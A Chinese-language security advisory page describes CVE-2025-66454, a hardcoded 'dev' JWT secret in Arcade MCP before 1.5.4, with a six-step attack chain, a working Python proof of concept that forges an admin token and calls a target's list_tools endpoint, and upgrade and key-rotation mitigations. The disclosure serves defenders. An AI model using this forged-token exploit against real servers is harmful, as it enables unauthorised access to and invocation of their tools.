IPBUF安全漏洞报告
English
CVE-2025-66454 CVSS 6.5 中危

CVE-2025-66454: Arcade MCP硬编码JWT密钥认证绕过漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-66454
漏洞类型
硬编码凭证/认证绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Arcade MCP (arcade-mcp)

相关标签

认证绕过硬编码凭证JWTFastAPIMCPArcade MCPCVE-2025-66454

漏洞概述

CVE-2025-66454是Arcade AI公司开发的Arcade MCP工具中的一个严重安全漏洞。Arcade MCP是一个用于创建、部署和分享MCP (Model Context Protocol)服务器的框架。该漏洞影响1.5.4之前的所有版本。漏洞根源在于arcade-mcp的HTTP服务器使用了一个硬编码的默认worker密钥字符串"dev",该密钥在正常的服务器启动过程中既不会被验证也不会被覆盖。攻击者一旦获知这个默认密钥,就可以利用它伪造有效的JWT (JSON Web Token),从而完全绕过FastAPI框架的认证机制。成功利用此漏洞后,未授权攻击者可以远程访问所有worker端点,包括进行工具枚举和工具调用,整个过程无需任何有效凭证。此漏洞已被官方在1.5.4版本中修复。

技术细节

Arcade MCP在1.5.4之前的版本中存在硬编码凭证漏洞。具体问题在于HTTP服务器的JWT认证模块使用了静态的默认worker密钥"dev"。在FastAPI应用启动时,这个密钥值被直接用于JWT签发和验证逻辑,而没有通过环境变量、配置文件或密钥生成机制进行动态设置。攻击者可以利用这个已知密钥执行以下操作:首先,使用HS256算法和"dev"密钥对任意payload进行签名,生成伪造的JWT;其次,将此伪造token附加到HTTP请求的Authorization头中;最后,服务器会错误地验证通过这个由攻击者自签的token,因为验证逻辑使用的密钥与签发密钥相同。由于JWT中通常包含用户身份和权限声明,服务器会将其视为合法认证请求,从而授予攻击者完整的worker端点访问权限,包括工具枚举、工具调用等敏感操作。整个攻击过程无需任何前置条件,属于零成本利用。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标运行的是arcade-mcp服务(版本<1.5.4),通过端口扫描或服务指纹识别
STEP 2
步骤2: 密钥获取
攻击者通过源码分析或已知漏洞信息确认默认worker密钥为'dev'
STEP 3
步骤3: JWT伪造
使用PyJWT等库,以'dev'为密钥,HS256算法,构造包含管理员身份声明的JWT token
STEP 4
步骤4: 认证绕过
将伪造的JWT附加到HTTP请求的Authorization头中,发送至FastAPI服务端
STEP 5
步骤5: 端点访问
服务器错误验证通过伪造token,攻击者获得所有worker端点的访问权限
STEP 6
步骤6: 工具枚举/调用
攻击者执行工具枚举(list_tools)获取可用工具列表,并调用敏感工具执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import jwt import datetime # CVE-2025-66454 PoC - Forge JWT using hardcoded 'dev' key # Affected versions: arcade-mcp < 1.5.4 HARDCODED_SECRET = "dev" TARGET_URL = "http://<target>/mcp/v1/list_tools" def forge_jwt(): """ Generate a forged JWT token using the hardcoded 'dev' secret. This bypasses authentication on arcade-mcp servers < 1.5.4 """ payload = { "sub": "attacker", "role": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=24), "iat": datetime.datetime.utcnow() } # Sign with the hardcoded 'dev' key token = jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256") return token def exploit(): """ Exploit authentication bypass by sending forged JWT """ import requests forged_token = forge_jwt() headers = { "Authorization": f"Bearer {forged_token}" } # List tools (enumeration) response = requests.get(TARGET_URL, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {response.text}") return response if __name__ == "__main__": forge_jwt() # Uncomment to execute exploit: # exploit()

影响范围

arcade-mcp < 1.5.4

防御指南

临时缓解措施
立即升级arcade-mcp到1.5.4版本。对于无法立即升级的场景,可通过环境变量ARCADE_WORKER_SECRET设置强随机密钥(建议32字节以上),并确保不暴露该密钥值。如使用容器部署,需重新构建镜像并更新编排配置。同时建议审查访问日志,排查是否存在利用该漏洞的未授权访问痕迹。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表